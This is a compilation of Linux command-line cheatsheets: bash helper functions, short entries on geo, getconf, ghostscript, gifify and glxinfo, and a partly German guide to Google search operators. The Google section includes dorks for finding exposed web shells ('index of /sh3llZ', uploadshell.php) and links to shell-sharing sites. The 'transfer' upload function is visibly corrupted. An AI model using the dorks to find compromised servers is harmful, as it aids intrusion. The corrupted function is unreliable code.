# Want to make sure you get the white lines too? 
awk '{print "\033[30;48;5;" (NR % 3 ? 15 : 45) "m" $0 "\033[0m"}'

function uploadphotos(){ rsync -av "$@" you@webserver:www/photos/; } 
# A function you can set up to make it easy to upload photos to your website. Example usage: uploadphotos IMG_*.JPG 01535.jpg anotherphoto.JPG

# Pluralize user input - Pluralize a word, aka change from single to multiple; text formatting. echo hamburgler | pluralize Show Sample Output
pluralize() { if [ -n "$1" ]; then echo ${1}s else while read line; do pluralize $line done fi }

# Check if your desired password is already available in haveibeenpwnd database. This command uses the API provided by HIBP
function hibp() { sha1=$(echo -n "$1"|sha1sum|awk '{print toupper($0)}'|tr -d '\n'); curl -s -H $'Referer: https://haveibeenpwned.com/' https://api.pwnedpasswords.com/range/$(echo -n $sha1|cut -c1-5)|grep -i $(echo -n $sha1|cut -c6-40); }

#Backup with versioning - Apart from an exact copy of your recent contents, also keep all earlier versions of files and folders that were modified or deleted. Inspired by the excellent EVACopy http://evacopy.sourceforge.net Show Sample Output
backup() { source=$1 ; rsync --relative --force --ignore-errors --no-perms --chmod=ugo=rwX --delete --backup --backup-dir=$(date +%Y%m%d-%H%M%S)_Backup --whole-file -a -v $source/ ~/Backup ; } ; backup /source_folder_to_backup

# Make .bashrc function to backup the data you changed last houres - The original overwrites any previous backups, and only saves exactly the last hours worth, but not 1 hour + 1 minute. This version creates or appends files, and backs up everything since the last backup (using the backups timestamp as the reference), plus it uses TMPDIR if set.
echo "function backup() { local CA=c T=${TMPDIR:+/tmp}/backup.tar.gz; [[ -f $T ]]&& C=r; find ~ -type f -newer $T | tar ${CA}vfz $T -T - ;}" >> ~/.bashrc

# Funktion for cmd post to transfer.sh
function transfer() { if [ $# -eq 0  ]; then echo -e "No arguments specified. Usage:\necho transfer /tmp/test.md\ncat /tmp/test.md | transfer test.md"; return 1; fi
tmpfile=$( mktemp -t transferXXX  ); if tty -s; then basefile=$(basename "(" | sed -e 's/[^a-zA-Z0-9._-]/-/g'); curl --progress-bar --upload-file "(" "https://transfer.sh/$basefile" >> $tmpfile; else curl --progress-bar --upload-file "-" "https://transfer.sh/(" >> $tmpfile ; fi; cat $tmpfile; rm -f $tmpfile; }")))")}

# Bash function that saves bash functions to file from shell session - The simpler, 1-arg version is save_function(){ { date +"# %F.%T $1; declare -f "$1";}| tee -a ~/.bash_functions; }`
function save_function(){ while [[ $# > 0 ]]; do { date +"# %F.%T $1; declare -f "$1";}| tee -a ~/.bash_functions; shift; done;}
#" Sample output
	    # $ save_function save_function
	    # 2019-07-16.18:03:57 save_function
	    # save_function ()
	    # {
		# while [[ $# > 0 ]]; do
		    # {
			# date +"# %F.%T $1";
			# declare -f "$1"
		    # } | tee -a ~/.bash_functions;
		    # shift;
		# done
	    # }

# Line Separator That is Width of Terminal - Creates a line seperator that will be the width of your window.
function CL () { WORDS=$@; termwidth="$(tput cols)"; padding="$(printf '%0.1s' ={1..500})"; printf '%*.*s %s %*.*s\n' 0 "$(((termwidth-2-${#WORDS})/2))" "$padding" "$WORDS" 0 "$(((termwidth-1-${#WORDS})/2))" "$padding"; }
# Sample output
	    # ???? CL test                                                                                         
	    # ============================================== test ==============================================

# edit, view or execute last modified file with a single key-press - Copy this function to command line, press 'Enter' 'f'' 'Enter' to execute (sentence on the left written only for newbies). Hint 'e|x|v|1..9' in front of displayed last modified file name means: "Press 'e' for edit,'x' for execute,'v' for view or a digit-key '1..9' to touch one file from the recent files list to be last modified" and suggested (hidden files are listed too, else remove 'a' from 'ls -tarp' statement if not intended). If you find this function useful you can then rename it if needed and append or include into your ~/.bashrc config script. With the command . ~/.bashrc the function then can be made immediately available. In the body of the function modifications can be made, i.e. replaced joe editor command or added new option into case statement, for example 'o) exo-open $h;;' command for opening file with default application - or something else (here could not be added since the function would exceed 255 chars). To cancel execution of function started is no need to press Ctrl-C - if the mind changed and want to leave simple Enter-press is enough. Once defined, this function can with typeset -f f command be displayed in easy readable form
function f() { ls -lart;e="ls -tarp|grep -v /|tail -9";j=${e/9/1};g=${e/9/9|nl -nln};h=$(eval $j);eval $g;read -p "e|x|v|1..9 $(eval $j)?" -n 1 -r;case $REPLY in e) joe $h;;v)cat $h;;x) eval $h;;[1-9]) s=$(eval $g|egrep ^$REPLY) && touch "${s:7}" && f;;esac ; }
    # Sample output
	    # knoppix5@kanta:~/SKRIPTE$ f
	     # ...
	     # 1       rdiff_backup_to_sda3.txt
	     # 2       arrange_windows_simple_from_xfce_panel.txt
	     # 3       .config.sh
	     # 4       arrange_windows.txt
	     # 5       read1.sh
	     # 6       read3.sh
	     # 7       lsb.sh
	     # 8       board9.pgn
	     # 9       read4.sh
	     # e|x|v|1..9 read4.sh?

# create a nicely formatted example of a shell command and its output - Shell function which takes a bash command as its input, and displays the following formatted output: EXAMPLE: command OUTPUT: output from command
function example() { echo "EXAMPLE:"; echo; echo " $@"; echo; echo "OUTPUT:"; echo ; eval "$@" | sed 's/^/ /'; }
    # Sample output
    # EXAMPLE:
	# example ls -l
    # OUTPUT:
	# EXAMPLE:   
	    # ls -l    
	# OUTPUT:   
	    # total 0
	    # -rw-rw-r-- 1 bartonc bartonc 0 Nov 10 13:58 a
	    # -rw-rw-r-- 1 bartonc bartonc 0 Nov 10 13:58 b
	    # -rw-rw-r-- 1 bartonc bartonc 0 Nov 10 13:58 c

# Listen to a song from youtube
function listen-to-yt() { if [[ -z "$1" ]]; then echo "Enter a search string!"; else mpv "$(youtube-dl --default-search 'ytsearch1:' \"$1\" --get-url | tail -1)"; fi }

    
# Compute factorial of positive integer using only built-ins
function factorial() { eval let N=1 N*={1..$1} ; echo $N; }

# Recursively compute factorial of positive integer using only built-ins
function factorial() {  [ "$1" = "0" ] && echo ${2:-1} || factorial $(( $1 - 1 )) $(( ${2:-1} * $1 )); }

# Listen to a song from youtube with youtube-dl and mpv - Explanation Firstly the function checks if user gave it any input, and notifies the user if they failed to do so. If user has inputed a search string, the function will call upon youtube-dl to find url of the audio of the first matching youtube video and play that with mpv. Call function by wrapping search string in quotes: listen-to-yt "sultans of swing" You have to paste the line in your .zshrc and source .zshrc for it to work. Limitations The dependancies are youtube-dl and mpv. 
function listen-to-yt() { if [[ -z "$1" ]]; then echo "Enter a search string!"; else mpv "$(youtube-dl --default-search 'ytsearch1:' \"$1\" --get-url | tail -1)"; fi }

# Cipher the file, upload it using tor.
# The link can be used only once, and expires after 24H.
function fileIoupload() {
  PASS=$(openssl rand -base64 16)
  zip -P "$PASS" - "$1" | proxychains curl -F "file=@-" "https://file.io/?expires=1d" | cut -d '"' -f 10

  echo "PASSWORD: $PASS"
}

#-------------------------------------#
# Awk float comparison hack for Bash
# By default Bash does not support floating point number comparisons…
[[ '2.1' -gt '1.2' ]] && {
  printf 'true\n'
} || {
  printf 'false\n'
}
	# syntax error: invalid arithmetic operator (error token is ".1")

(('1.2' < '2.1')) && {
  printf 'true\n'
} || {
  printf 'false\n'
}
	# 	syntax error: invalid arithmetic operator (error token is ".2 < 2.1")

#… however, with a bit of Awk redirection it is possible to add this functionality…

function compare_floats() {
  awk 'BEGIN { if ('"$@"') { exit 0; } exit 1; }'
}

# Example usage…
compare_floats '2.1 > 1.2' && {
  printf 'totally true\n'
} || {
  printf >&2 'oh so false\n'
}
	# totally true

if compare_floats '2.1 < 1.2'; then
  printf 'totally true\n'
else
  printf >&2 'oh so false\n'
fi
	# oh so false
#-------------------------------------#

#-------------------------------------#

# Awk/#Bash _slugify_ string...
function slugger() {
  awk '{
    gsub(" ", "-", $0)
    gsub(/[^a-zA-Z0-9\-]/, "", $0)
    gsub(/--*/, "-", $0)
    print tolower($0)
  }' <<<"$@"
}
slugger 'SPAM-`-`-' '"Flavored--ham'
	# 	spam-flavored-ham

# stdout to array...
_dir="/tmp/somewhere"
_s=($(ls -ld "${_dir}" | awk '{ print $1, $3, $4; }'))

printf 'Group -> %s\n' "${_s[1]}"
printf 'User -> %s\n' "${_s[2]}"

#-------------------------------------#

#-------------------------------------#

# Bash trick for stripping any number of trailing slashes...the `%%<pastern>` bit is the _magic sauce_
function slash_stripper() {
  local _path="${1%%*(//|/)}"
  printf '%s\n' "${_path}"
}
slash_stripper '/home/user/bad-path///'
	#	 /home/user/bad-path

#-------------------------------------#

# Bash regex-like pastern branching...the `=~` bit is the _magic sauce_
function escape_double_quotes() {
  local _input="$@"
  [[ "${_input}" =~ '"' ]] && {
    _input="${@//\"/'\"'}"
  }
  printf '%s\n' "${_input}"
}
escape_double_quotes '"foo"'
	#	 \"foo\"

#-------------------------------------#

#-------------------------------------#

# Quick SSH - Bash redirection example...
function push_key(){
  _host="${1:?}"
  _key="${2:?}"
  ssh "${_host}" <<EOF
mkdir ~/.ssh
tee -a ~/.ssh/authorized_keys 1>/dev/null <<<"$(<"${_key}")"
chmod 644 ~/.ssh/authorized_keys
EOF
}
push_key raspberrypi ~/.ssh/pi.pub
	#	Adds key to server

#-------------------------------------#

#-------------------------------------#

# bash scripting tip; how to pass multiple arrays by reference with `local -n`...
function nth(){
  _i="$1"
  local -n _ref1="$2"
  local -n _ref2="$3"
  printf '%s | %s\n' "${_ref1[$_i]}" "${_ref2[$_i]}"
}
_a0=(spam space ham)
_a1=(1 2 3)

nth '0' '_a0' '_a1'
	#	 spam | 1
#-------------------------------------#

#-------------------------------------#

function spam { <command>; }
	# verses...
function ham(){ <command>; }

#-------------------------------------#

#==============================##==============================#
# CMD function						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

43 - 🖥️geo

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the geo command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ ███████╗ ██████╗ 
#  ██╔════╝ ██╔════╝██╔═══██╗
#  ██║  ███╗█████╗  ██║   ██║
#  ██║   ██║██╔══╝  ██║   ██║
#  ╚██████╔╝███████╗╚██████╔╝
#   ╚═════╝ ╚══════╝ ╚═════╝ 

# geo (Bash-Snippets)
# Provides quick access for wan, lan, router, dns, mac, and ip geolocation data.

# Get your wireless area network ip address
geo -w

# Get your local area network ip address(es)
geo -l

# Get your router ip address
geo -r

# Get your DNS name server
geo -d

# Get mac address for supplied interface
geo -m eth0

# Get your current ip address geodata
geo -g

# Combine options
geo -wlrdgm eth0
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

44 - 🖥️getconf

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the getconf command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗ ███████╗████████╗ ██████╗ ██████╗ ███╗   ██╗███████╗
#                ██╔════╝ ██╔════╝╚══██╔══╝██╔════╝██╔═══██╗████╗  ██║██╔════╝
#                ██║  ███╗█████╗     ██║   ██║     ██║   ██║██╔██╗ ██║█████╗  
#                ██║   ██║██╔══╝     ██║   ██║     ██║   ██║██║╚██╗██║██╔══╝  
#                ╚██████╔╝███████╗   ██║   ╚██████╗╚██████╔╝██║ ╚████║██║     
#                 ╚═════╝ ╚══════╝   ╚═╝    ╚═════╝ ╚═════╝ ╚═╝  ╚═══╝╚═╝     
                                                                             
                                                                             
                                                                      
getconf -a | sort -k2nr | grep MAX 
# Know your limits.

#==============================##==============================#
# CMD GETCONF						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

45 - 🖥️ghostscript

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ghostscript command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                 ██████╗ ██╗  ██╗ ██████╗ ███████╗████████╗███████╗ ██████╗██████╗ ██╗██████╗ ████████╗
#                ██╔════╝ ██║  ██║██╔═══██╗██╔════╝╚══██╔══╝██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝
#                ██║  ███╗███████║██║   ██║███████╗   ██║   ███████╗██║     ██████╔╝██║██████╔╝   ██║   
#                ██║   ██║██╔══██║██║   ██║╚════██║   ██║   ╚════██║██║     ██╔══██╗██║██╔═══╝    ██║   
#                ╚██████╔╝██║  ██║╚██████╔╝███████║   ██║   ███████║╚██████╗██║  ██║██║██║        ██║   
#                 ╚═════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝   ╚═╝   ╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝        ╚═╝   
                                                                                                       
                                                                                                       

# Resize PDFs. Very useful command for 
ghostscript -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/ebook -dNOPAUSE -dQUIET -dBATCH -sOutputFile=out.pdf in.pdf

#==============================##==============================#
# CMD ghostscript						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

46 - 🖥️gifify

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the gifify command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ ██╗███████╗██╗███████╗██╗   ██╗
#  ██╔════╝ ██║██╔════╝██║██╔════╝╚██╗ ██╔╝
#  ██║  ███╗██║█████╗  ██║█████╗   ╚████╔╝ 
#  ██║   ██║██║██╔══╝  ██║██╔══╝    ╚██╔╝  
#  ╚██████╔╝██║██║     ██║██║        ██║   
#   ╚═════╝ ╚═╝╚═╝     ╚═╝╚═╝        ╚═╝

# gifify
#
# Convert any video file to an optimized animated GIF

# convert MP4 ${input_mp4} to GIF ${output_gif}
gifify ${input_mp4} --from 00:00:01.200 -o ${output_gif}

#  convert MP4 ${input_mp4} to GIF ${output_gif}, skip first 1.2 seconds
gifify ${input_mp4} --from 00:00:01.200 -o ${output_gif}

#  convert MP4 ${input_mp4} to GIF ${output_gif}, resize it to width 800
gifify /tmp/output.mp4 --resize 800:-1 -o /tmp/output.gif

# convert MP4 to GIF and add subtitles from the ASS file
gifify ${input_mp4} -o ${output_gif} --subtitles ${file_ass}

# convert MP4 to GIF and add text "${subtitle_text}" as a subtitle
gifify ${input_mp4} -o ${output_gif} --text "${subtitle_text}"
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

47 - 🖥️glxinfo

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the glxinfo command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗ ██╗     ██╗  ██╗██╗███╗   ██╗███████╗ ██████╗ 
#  ██╔════╝ ██║     ╚██╗██╔╝██║████╗  ██║██╔════╝██╔═══██╗
#  ██║  ███╗██║      ╚███╔╝ ██║██╔██╗ ██║█████╗  ██║   ██║
#  ██║   ██║██║      ██╔██╗ ██║██║╚██╗██║██╔══╝  ██║   ██║
#  ╚██████╔╝███████╗██╔╝ ██╗██║██║ ╚████║██║     ╚██████╔╝
#   ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝╚═╝      ╚═════╝ 

glxinfo | grep "OpenGL renderer"
# OpenGL renderer string: Mesa DRI Intel(R) HD Graphics 5500 (Broadwell GT2)

game glxinfo | grep "OpenGL renderer"
# OpenGL renderer string: AMD HAINAN (DRM 2.50.0, 4.18.0-14-generic, LLVM 7.0.0)
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

48 - 🖥️google

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the google command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#   ██████╗  ██████╗  ██████╗  ██████╗ ██╗     ███████╗
#  ██╔════╝ ██╔═══██╗██╔═══██╗██╔════╝ ██║     ██╔════╝
#  ██║  ███╗██║   ██║██║   ██║██║  ███╗██║     █████╗  
#  ██║   ██║██║   ██║██║   ██║██║   ██║██║     ██╔══╝  
#  ╚██████╔╝╚██████╔╝╚██████╔╝╚██████╔╝███████╗███████╗
#   ╚═════╝  ╚═════╝  ╚═════╝  ╚═════╝ ╚══════╝╚══════╝

# File types indexable by Google
#-----------------------------------------------------------------------///

# Google can index the content of most types of pages and files. The most common file types we index include:

    Adobe Flash (.swf)
    Adobe Portable Document Format (.pdf)
    Adobe PostScript (.ps)
    Autodesk Design Web Format (.dwf)
    Google Earth (.kml, .kmz)
    GPS eXchange Format (.gpx)
    Hancom Hanword (.hwp)
    HTML (.htm, .html, other file extensions)
    Microsoft Excel (.xls, .xlsx)
    Microsoft PowerPoint (.ppt, .pptx)
    Microsoft Word (.doc, .docx)
    OpenOffice presentation (.odp)
    OpenOffice spreadsheet (.ods)
    OpenOffice text (.odt)
    Rich Text Format (.rtf, .wri)
    Scalable Vector Graphics (.svg)
    TeX/LaTeX (.tex)
    Text (.txt, .text, other file extensions), including source code in common programming languages:
        Basic source code (.bas)
        C/C++ source code (.c, .cc, .cpp, .cxx, .h, .hpp)
        C# source code (.cs)
        Java source code (.java)
        Perl source code (.pl)
        Python source code (.py)
    Wireless Markup Language (.wml, .wap)
    XML (.xml)

# When you use the filetype: operator in a Google search (for example, filetype:xml galway), Google searches for files with the .xml extension, not for files of file type XML.

# Not all URLs or pages have the .html file extension. Some pages (like http://www.google.com) have no extension at all, and some have an extension that doesnt match their file type. Limiting your search to a specific file type will return pages with that file extension, and may return fewer relevant results.

# GoogleSearch
# 1. This or that
# 2. Use synonyms For searching: serchterm ~searchsynonym
# 3. Searching inside websites: website.com searchterm
# 4. Forgot lots of words: using  "AROUND + (the approximate number of missing words)" between them. For example, "I played  AROUND(7) ground."
# 5. The mighty asterisk: Just include "*" in place of the word
# 6. Searching for a page title or specific URL: If you want to search for a specific page title or just want to search the URL for the keyword you used, you can type “intitle:“ before the search term. To find the words from a URL, use ”inurl:”.
# 7. Use a time frame: In place of the year just type the boundaries you remember separated with three dots(‘.’ ).: Linux Meilensteine 1900...2000
# 8. Find similar websites: you can just type “related:” and then the address of the site you liked without spacing between them.: related:php-faq.eu
# 9. Searching a whole phrase: Writing the text inside quotation marks is one of the simplest ways to search for the information that is in the form of a sentence or a phrase.: "This is a searchphrase"
# 10. Remove unimportant search words: you can select a word and search for the websites that do not contain the specific word.: linux books -buy
#

#################### Google Dorks um nach remoteshell zu suchen ################################
#
#
#intitle:index of/sh3llZ
#"index of /sh3llZ"
#"/sh3llZ/uploadshell/uploadshell.php"
#
#http://www.devilscafe.in/search?q=shell
#http://3xp1r3.blogspot.de/2012/02/index-of-sh3llz-upload-your-shell.html
#http://3xp1r3.blogspot.de/

Was sind die Suchoperatoren?

Die Suchoperatoren sind Parameter, die zusammen mit einem Keyword und/oder Domain in den Suchschlitz bei Google eingegeben werden können, um präzisere Suchergebnisse zu erhalten. Dies Suchoperatoren stammen aus einer Zeit, in der Google noch nicht so leistungsstark war und diese Suchoperatoren als Hilfe bereitgestellt wurden. Vielen Nutzern sind diese Operatoren allerdings nicht bekannt. Den SEOs schon eher. Die Suchoperatoren gehören zum Handwerkszeug eines jeden Suchmaschinenoptimierers.
Die Basis Google Suchoperatoren

Die Basisoperatoren bestehen aus einzelnen Zeichen, die um das gesuchten Keyword bzw. die Keywordkombinationen „herum gelegt“ werden.

Die folgende Liste zeigt die Basis-Suchoperatoren und veranschaulicht diese an einem kurzen Beispiel:

+ mit dem Plus Zeichen können mehrere Begriffe miteinander verbunden werden, um gezielter zu suchen (entspricht der Standardsuche bei Google), z.B. “Blog+Kommentare”

– mit dem Minus werden Suchbegriffe ausgeschlossen, z.B. “Jaguar -Auto” gibt  nur Ergebnisse mit Jaguar, aber ohne Auto aus.

| mit dem Pipe Symbol können Begriffe separiert werden (entweder das eine oder das andere), z.B. “Reis + Soße | Nudeln”

“ „ Die exakte Phrase wird gesucht, z.B. “ Angela Merkel“ -> Angela Dorothea Merkel würde nicht angezeigt, da das Dorothea stört.

* der Stern wird auch Wildcard Suche genannt, damit kann man Begriffe ersetzen, die nicht bekannt sind, z.B. “Nudeln mit *” .. mit zwei Punkten kann eine ”von – bis” Suche gestartet werden, z.B. “Fussballschuh € 100..200″
Erweiterte Google Suchoperatoren

Die zweite Gruppe sind die erweiterten Suchoperatoren für die Googlesuche. Sie helfen dabei die Ergebnisse z.B. auf eine bestimmte Zeit einzuschränken oder generell Informationen einer Webseite oder eines Begriffes anzuzeigen.

Eine große Anzahl der Operatoren dieser Kategorie kann teilweise sehr hilfreich für Online-Marketing-Betreibende sein, um Backlinkquellen ausfindig zu machen und die Wettbewerbssituation sowie den Grad und das Ausmaß der Arbeit, die SEO-Kampagnen erfordern, zu bestimmen. Die Ergebnisse können in weiterer Folge u.a. zum Linkaufbau genutzt werden.

Es folgt eine Liste und eine kurze Beschreibung der erweiterten Google Suchoperatoren:
Suchoperator „allinanchor“

Wenn man den Suchbegriffen den Operator allinanchor: voranstellt, zeigt Google nur diejenigen Seiten an, bei denen die darauf verweisenden Links alle gewünschten Keywords im Linktext enthalten.

Beispiel: Die Suche nach “allinanchor: top football player” gibt nur Seiten aus, auf die mit den Wörtern “top”, “football” und “player” verlinkt wird. Beim Benutzen von allinanchor: bitte keine weitern Operatoren benutzen.
Suchoperator „allintext“

Mit diesem Operator werden nur Ergebnisse angezeigt, in denen alle angegebenen Keywords im Text der Seite vorkommen. Es müssen alle Begriffe im Seitentext vorkommen, der Seitentitel, die Adresse, etc. werden nicht berücksichtigt.

Beispiel: “allintext:Worldcup Brasilien Sieger” gibt nur Seiten aus, in deren Text “Worldcup”, “Brasilien” und “Sieger” vorkommen.
Suchoperator „allintitle“

allintitle: zeigt Seiten, in deren Titel sich alle Begriffe, die nach allintitle: angegeben werden, befinden. Der Titel einer Seite steht in der Regel im Fenstertitel des Browsers vor dem Browsernamen angezeigt. Außerdem ist er in den Suchergebnissen der Linktext jedes Ergebnisses. Bei der Bildersuche werden mit allintitle: Bilder angezeigt, in deren Dateinamen sich die angegebenen Begriffe befinden, bei Google News muss der Artikel-Titel diese Begriffe enthalten, um angezeigt zu werden.
Suchoperator „allinurl“

Der Operator allinurl: begrenzt Suchergebnisse auf Seiten, in deren URL alle angegebenen Keywords vorkommen.

Beispiel: “allinurl:sem agentur” findet nur Seiten, in deren URL sowohl “sem” als auch “agentur” vorkommt, also z.B. https://www.sem-deutschland.de/suchmaschinenmarketing-sem-agentur/.

Achtung: In Google News findet Google damit auch Artikel, die diese Wörter in ihrem Titel tragen.
Suchoperator „cache“

cache:URL zeigt Googles Cache-Version der angegebenen Webseite an.

Beispiel: “cache:www.fussball.de ” zeigt nicht die aktuelle Version von fussball.de an, sondern eine ältere Version aus dem Google-Cache. Fügt man der Suchanfrage nach dem Operator zusätzliche Begriffe zu, markiert Google diese in der Cache-Version. Der Cache ist eine Art Zwischenspeicher, in dem Webseiten gespeichert werden, die von Google indexiert wurden. Diese Funktion kann praktisch sein, wenn die aktuelle Version der Seite gerade nicht verfügbar ist.
Suchoperator „define“

Benutzt man diesen Suchoperator, zeigt Google Definitionen aus verschiedenen Quellen (inklusive Links zu den Quellen) an.

Beispiel: “define:webseite” zeigt diverse Definitionen von “Webseite” an.
Suchoperator „filetype“

